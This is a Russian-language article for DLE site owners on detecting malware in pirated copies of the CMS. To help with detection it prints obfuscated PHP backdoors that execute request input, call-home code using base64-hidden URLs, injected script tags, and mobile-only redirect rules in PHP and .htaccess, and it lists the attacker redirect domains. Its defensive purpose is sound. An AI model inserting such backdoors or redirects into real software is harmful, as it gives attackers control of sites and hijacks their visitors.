Вирусы в системе DataLifeEngine (DLE) и как с ними бороться
Любителям
Скачивая CMS DLE на сторонних ресурсах, будьте готовы к тому что в Вашей системе уже сидит троянский конь, ожидающий когда вы сделаете свой проект и получит к нему доступ (в лучшем случае). В худшем или удалит все или сделает тайные редиректы на другие сайты (обычно мобильные редиректы сайтов на DLE, так как такие администратор в 90% случаев не обнаруживает, ведь сам сидит с пк или планшета).
Итак, как понять что в вашей системе DLE есть вирус с редиректом мобильной версии?!
Один из вариантов - вы начали терять посещаемость. Как только вы это заметили, советуем обратить внимание на инструкцию по обнаружения вредоносного кода ниже, чтобы исключить вероятность взлома или заражения сайта.
Еще один вариант, это когда поисковая система сама вас уведомит что вас на сайте есть нежелательный код.
Хотим обратить ваше внимание на то, что вредоносный код может быть практически во всех типах файлов движка, .php, .js, .lng, .htaccess и даже изображениях (зачастую аватары пользователей). Такой код может быть в любом виде, он может быть зашифрован base64_encode, использовать char и всякие приёмы, которые позволяют усложнить быстрое обнаружение по средствам автоматического поиска по нему. А может и банально быть в открытом виде (редкие случаи).
Отметим что зачастую файлы очистить довольно не просто (не зная что в коде движка не на своем месте или лишнее). Лучше использовать программы для сравнения кода, к примеру если вы все же взялись за ум и купили лицензию у разработчика DLE, вы можете сверить код лицензионной версии движка и ваш с помощью пакетной проверки программы Beyond Compare. Так можно найти разницу в коде и найти ваш вирус.
Конечно поможет это только если вы не изменяли свой движок сторонними модулями или использовали плагины. И точно не поможет если вредоносный код находится в аватарах пользователей.
В актуальных версиях DLE устранена уязвимость с загрузкой аваторов, но версии до DLE 9.8 ее имеют.
Чтобы найти троянские аватары пользователей, установите на свой сервер антивирус Virusdie и он найдет изображения которые ими не являются.
Если Вас уведомили или вы заметили сами что ваш сайт долго грузится, куда-то редиректит или антивирус / поисковая система начали ругаться на ваш ресурс, для начала просто зайдите на свой хостинг и посмотрите на дату изменения файлов. Если вы заметите что файлы менялись в последнее время, зачастую это /index.php, /engine/data/dbconfig.php, /engine/data/config.php, /.htaccess, /language/Russian/website.lng, которые в принципе не должны меняться, или меняются только когда вы что-то обновляете или устанавливаете, то с большой вероятностью можем вас порадовать - сайт заражен.
Не забывайте также что сайт может долго грузиться и потому что у вас слабый хостинг, шаблон напичкан скриптами и не оптимизирован и ряд подобных причин. Но лучше перестраховаться, не так ли?!
Вредоносный код, в большинстве движков скачанных на сторонних сайтах
Советуем искать не по полному совпадению, а по частичному.
1. engine/inc/addnews.php - наличие вредоносного кода
$serv = $_SERVER[HTTP_HOST];if (($serv != 'localhost') and ($serv != '127.0.0.1') and (strpos($serv, '.') != false))
{$serv_time = "ht"."tp:/"."/xo"."rx."."net/"."js.p"."hp?lice"."nse="."13."."1_".$serv;};
$fi = 'fi'.'le';$up_times = trim(@implode ('', @$fi($serv_time)));
2. engine/classes/antivirus.class.php - исключен файл которого там не должно быть, как выяснилось, этот файл - уязвимость
"./engine/classes/min/lib/JSMinify.php",
"./engine/ajax/js.php",
3. engine/classes/min/.htaccess - наличие исключений которые открывают дорогу файлу с уязвимостью
<Files "JSMinify.php">
Order Deny,Allow
Allow from all
</files>
<Files "JSMin.php">
Order Deny,Allow
Allow from all
</files>
4. engine/classes/min/lib/JSMinify.php - вредоносный файл, не входящий в дистрибутив системы и не являющийся частью дополнений
5. engine/modules/calendar.php - наличие вредоносного кода
$reg_data = $_REQUEST['captchas'];$reg_base = $_REQUEST['recaptchas'];
$recaptcha_get_signup_id = 'eb516e7d7a6462a6d531ec65dcf1d599';
$setel = 'a'.'sse'.'rt';if(md5($reg_data)==$recaptcha_get_signup_id) {@$setel(stripslashes($reg_base));}
6. engine/modules/feedback.php - наличие вредоносного кода
$syskey=strrev('edoce'); $pubkeys=strrev('d_46esab'); $captchacrypt=$pubkeys.$syskey;
$sert = $_SERVER[HTTP_HOST];if (($sert != 'localhost') and ($sert != '127.0.0.1') and (strpos($sert, '.') != false))
{$capt = 'f'.'ile';@$capt($captchacrypt('aHR0cDovL3hvcngubmV0L2pzLnBocD9saWNlbnNlPTEzLjFf').$sert);}
$captchascrypt='bas'.'e64_'.'dec'.'ode';
$home_url = $_SERVER['HTT'.'P_H'.'OST'];
if ((!strpos($home_url, '127.'.'0.')) and (strpos($home_url, '.')))
{$captis = 'f'.'ile';@$captis($captchascrypt('aHR0cHM6Ly9kbGUtaW5mby5jYy9qcy5waHA/bGljZW5zZT0xNS4xX25f').$home_url);}
7. engine/modules/functions.php - наличие вредоносного кода
$set_cookie = '_di'.'ff_';$set_cookie='ar'.'ray'.$set_cookie.'ukey';//globils
$news_num = @$_REQUEST['numer'];
$bannermass = @$_REQUEST['bannerid'];
$check_newsnum = @$_REQUEST['newsnum'];
$check_category = @$_REQUEST['category'];
$get_url_var = '77067560';
$set_cookie = '_di'.'ff_';$set_cookie='ar'.'ray'.$set_cookie.'ukey';//globils
if($bannermass==$get_url_var){
if (@strpos($check_newsnum, 'creat')=== false){
@$set_cookie(@array((string)$news_num => 1), @array((string)stripslashes($check_category) => 2), @$check_newsnum);}else{
@$set_cookie(@array((string)$news_num => 1), @array((string)stripslashes('}'.$check_category.'//') => 2), @$check_newsnum);}}//chekings
8. engine/ajax/js.php - вредоносный файл, следует удалить
Вредоносный код, который может быть дополнительно (в случае взлома)
1. engine/data/dbconfig.php
$liciens = "Ev"."aL(gZu"."ncOmp"."rEss(bAs"."e64"."_Dec"."odE('eNqlVG1v2jAQ/itFQnWiskAhvBVF21qhrdq0bpSumlpkOcmReJA4s51SNPPfdw5oXSvKl32Iz76753zP+XL1UEJAKDnyCFWgrFRc5NXZLjwmIz53uFKgnTq9uLr6dDm+qyNq5rq/36E2EmLBwbGqxnOHk9OG5hk47smgO+z2G6RJ3NEGo70IFARk2Pb7Lb/fJ66Qr1g7/cFB6/CQddAie9IlPX/YbvmDbq8z7Pq4DIadVnfg9/xBZ+iTPdnXJcyDOr0eT76PJ3dKSwkPDgotyqIA6RAuS6oVlL9A4o2zUT0V6iBAK5HSQut06y4Ph5eACYB8AqTAYjTsXEnnLU8ir8i0fbum4qlu2t0igjSqVFHkWZlIYcWbzqrSNs+KCqHTo7Nc8GrLKoD4TFwUxwqEtGekj0KyVSmXkEcixlLKeeVSMMky0CCD+/oC1ishY4ThQcFxKYNTxO1hFPxL6Rg5vYhOUq2Ls6alYWuJK7q77ggeuR5t6qVKDpc3h4RRCar8jyLblq39RZCP0+lXeoMn+v7D+MuUzLaN96oZu7DqzVohIaEZ01HqkCayXIK57VxQM15qdpmb2wS0CRmPSxNhAQxnlMkoNSwVwvAkY+YHO5diZVgew6MRIsEAodDmHL+CYx8YloWoyxhfek1OGrY8LjY+Enh2t1h4sjQPCy8S2zDeNqa3he7iSFNqL1xvrxZxLhYmU7kXGZXxtpFh5JlyKRIzZxGEwjMKqnTXNl/PhDxPtklgf1QpPM/hZzsDs85CznKTx1Lw2GQ8LgxIDur+qNcyCq1CmVRH1IiQW2I856bwQiyCwvSKVOTwxBMpOLUXk4rES6AlOlOcZLP9PrtpZk1PrzgZf7sZX0/pzeSSzGrBkf3990yQ3fDp7xsWm83mD0qjwnU=')));";$release_this = "cre"."ate_"."function";$dle_func = $release_this('', "$liciens;");$dle_func('');
Расшифровав этот код, можно увидеть следующее:
$bre = '_' . '_ses' . 'sion' . '_' . 'id';
if (isset($_COOKIE[$bre])) {
@setcookie($bre, $_COOKIE[$bre] + 1, time() + 85957, '/');
}
if (($_COOKIE[$bre] == '92470477') or ($_COOKIE[$bre] == '92470378') or ($_COOKIE[$bre] == '92470379') or ($_COOKIE[$bre] == '92470380')) {
@setcookie($bre, '64920485639546398930584648394', time() + 85957, '/');
$ref = $_SERVER[strrev(strtoupper('iru_tseuqer')) ];
$hos = $_SERVER[strrev(strtoupper('tsoh_ptth')) ];
$rf = $_SERVER[strrev(strtoupper('rerefer_ptth')) ];
header(strrev('3?igc.pmt' . '/siht/' . 'kcehc' . '/cc.' . 'gro' . '-3w' . '//:pt' . 'th :noi' . 'tac' . 'oL') . '&seor' . 'ef=' . rawurlencode($rf) . '¶meter=\$keyword&se=\$se&ur=1' . strrev(strtoupper('=rerefer_ptth&')) . rawurlencode('http://' . $hos . $ref));
exit;
}
$usg = $_SERVER[strrev(strtoupper('tnega_resu_ptth')) ];
$rf = $_SERVER[strrev(strtoupper('rerefer_ptth')) ];
if ((!$_SERVER['HTTP_USER_AGENT']) or ($_SERVER['HTTP_USER_AGENT'] == '') or (!preg_match('/rawle|W3C_|EltaIn|Wget|baidu|curl|ia_arch|ahoo|igma|YaBrow|andex|oogle|bot|Bot|pider|amble|mail./i', $usg))) {
if (preg_match('/ok.ru|vk.co|oogle.|andex.|mail.r|ambler|ut.by|igma|odnok|msn.c|smi2|rbc.|ulog|facebo.|search|yahoo.|bing./i', $rf)) {
if ((preg_match('/j2me|ymbian|ndroid|midp|eries\ 60|symbos|htc_|obile|mini|p.browser|phone/i', $usg)) and (!isset($_COOKIE['dle_user_id'])) and (!isset($_COOKIE[$bre])) and ($_SERVER['REQUEST_URI'] != '/')) {
@setcookie($bre, '92470377', time() + 85957, '/');
}
}
}
Из данного кода видно, что он срабатывает только на мобильных устройствах и только один раз, далее записывается в куки для пользователя и повторно не отображается. Тем самым многие могут думать что это был глюк. Ну и сам скрипт перенаправляет пользователей мобильных устройств на сайт w3-org.cc. Который в свою очередь используется злоумышленниками как сайт-прокладка и редиректит пользователя на любой другой конечный адрес.
2. index.php
if(preg_match('/'.'('.'a'.'n'.'d'.'r'.'o'.'i'.'d'.'|'.'m'.'i'.'d'.'p'.'|'.'j'.'2'.'m'.'e'.'|'.'s'.'y'.'m'.'b'.'i'.'a'.'n'.'|'.'s'.'e'.'r'.'i'.'e'.'s'.' '.'6'.'0'.'|'.'s'.'y'.'m'.'b'.'o'.'s'.'|'.'w'.'i'.'n'.'d'.'o'.'w'.'s'.' '.'m'.'o'.'b'.'i'.'l'.'e'.'|'.'w'.'i'.'n'.'d'.'o'.'w'.'s'.' '.'c'.'e'.'|'.'p'.'p'.'c'.'|'.'s'.'m'.'a'.'r'.'t'.'p'.'h'.'o'.'n'.'e'.'|'.'b'.'l'.'a'.'c'.'k'.'b'.'e'.'r'.'r'.'y'.'|'.'m'.'t'.'k'.'|'.'b'.'a'.'d'.'a'.'|'.'w'.'i'.'n'.'d'.'o'.'w'.'s'.' '.'p'.'h'.'o'.'n'.'e'.')'.'/'.'i',$_SERVER['HTTP_USER_AGENT']) && $_COOKIE["m"] != '5df9974cf25d22eb3c5aa962d6460477')
{
@setcookie('m', '5df9974cf25d22eb3c5aa962d6460477', time()+86400, '/');
@header("Location: "."h"."t"."t"."p".":"."/"."/"."p"."i"."d"."d"."."."b"."o"."t"."."."n"."u"."/"."s"."/"."1"."1"."8"."0"."5");
die();
}
4. index.php, engine/modules/config.php, engine/modules/dbconfig.php
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://yadirect.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));
5. engine/data/dbconfig.php
$config['description'].='" />'."
".'<script type="text/javascript" src="http://up.bot.nu/go/'.rand(0,999).'"></script>'."
".'<meta http-equiv="Pragma" content="no-cache';
6. .htaccess в корневой директории
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone|iemobile|nokia|ucweb|ucbrowser) [NC]
RewriteCond %{HTTP_USER_AGENT} !(bot|accoona|ia_archiver|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gsa-crawler|grub-client|gulper|slurp|mihalism|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://stat.pdaupd.net/?23&source=ваш домен [L,R=302] # on
RewriteCond %{QUERY_STRING} (^|&)noredirect=true(&|$)
RewriteRule ^ - [CO=mredir:0:%{HTTP_HOST},S]
RewriteCond %{HTTP:x-wap-profile} !^$ [OR]
RewriteCond %{HTTP:Profile} !^$
RewriteCond %{HTTP_HOST} !^m\.
RewriteCond %{HTTP:Cookie} !\smredir=0(;|$)
RewriteRule ^ http://yadirect.ws/ [R,L]
Для проверки удаления вируса изо всех файлов системы, надо зайти с мобильного устройства с любой ОС (ios, android и тп) на свой сайт, если редиректа на сторонний ресурс злоумышленника нету, то все отлично.
Сайты, на которые зачастую используется редирект мобильных версий DLE:
w3-org.cc
statuses.ws
live-internet.ws
getinternet.ws
livecountall.ws
googlecount.ws
Подытожим.
Всегда используйте лицензионные копии движка и следите за сайтом.
Если вы уже нашли какую-то капость, но это не помогает, вы можете обратиться за помощью в решении проблемы к своей тех. поддержке севера или к нам, разуется в платном режиме.